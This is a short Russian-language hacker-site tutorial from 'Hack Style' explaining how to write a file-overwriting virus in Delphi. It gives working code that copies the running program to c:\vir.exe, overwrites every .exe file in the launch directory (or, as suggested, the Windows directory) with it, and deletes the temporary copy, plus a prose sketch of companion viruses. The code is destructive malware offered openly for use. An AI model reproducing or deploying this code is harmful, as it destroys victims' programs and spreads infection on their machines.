Информация сайта компьютерной безопасности
<<< Hack Style >>>

Размножение виря это основной элемент выживания в реальнм мире машин но времена больших возможностей кончились т.к. большенство (98%) домашних пользователей пользуются именно оконной оболочкой АКА window$ и др. в ней не все дозволенно (напр. удаление фаила из себя как в bat-никах)(точнее дозволено но только тем кто знает че делать) но и это не страшит вирусных монстров ... сейчас я поведаю как можно "заразить" (уж слишком круто) фаилы:

1: самый простой re-врайт т.е. переписать фаил свойм

var i:integer;

CopyFile(PChar(Application.ExeName),PChar('c:\vir.exe'),true); //создаём временный файл
for i:=0 to FileListBox1.Count-1 do begin // - цикл
CopyFile(PChar('c:\vir.exe'), PChar(Windir+'\'+FileListBox1.Items.Strings[i]), false); // - заменяем 
end; 
DeleteFile('C:\vir.exe'); // - Уничтожаем временный файл

На закладке WIN 3.1берем FileListBox и в окне свойств ставим маску *.exe (можно и другую) и теперь наша прога заменит собой все exe фаилы в директории из которой ее запустили при желании можно изменит св-во Directory компонента Filelisbox (типо '\windows\') и тогда ...

есть и другие способы заражения (например вирус -<спутник>- изменяет имя жертвы и сам копирует себя под именем жертвы и при выполнении запускает жертву) но я не вижу смысла писать про это т.к. это слишком тупо а более продвинутые способы пишут в основном на asm"е а на дельфях пишут либо пакости либо трои и шпионы а не как не вирусы (имеется в виду _настоящие_) !


Все права защищены ~< KAPMAH >~
www.HackStyle.narod.ru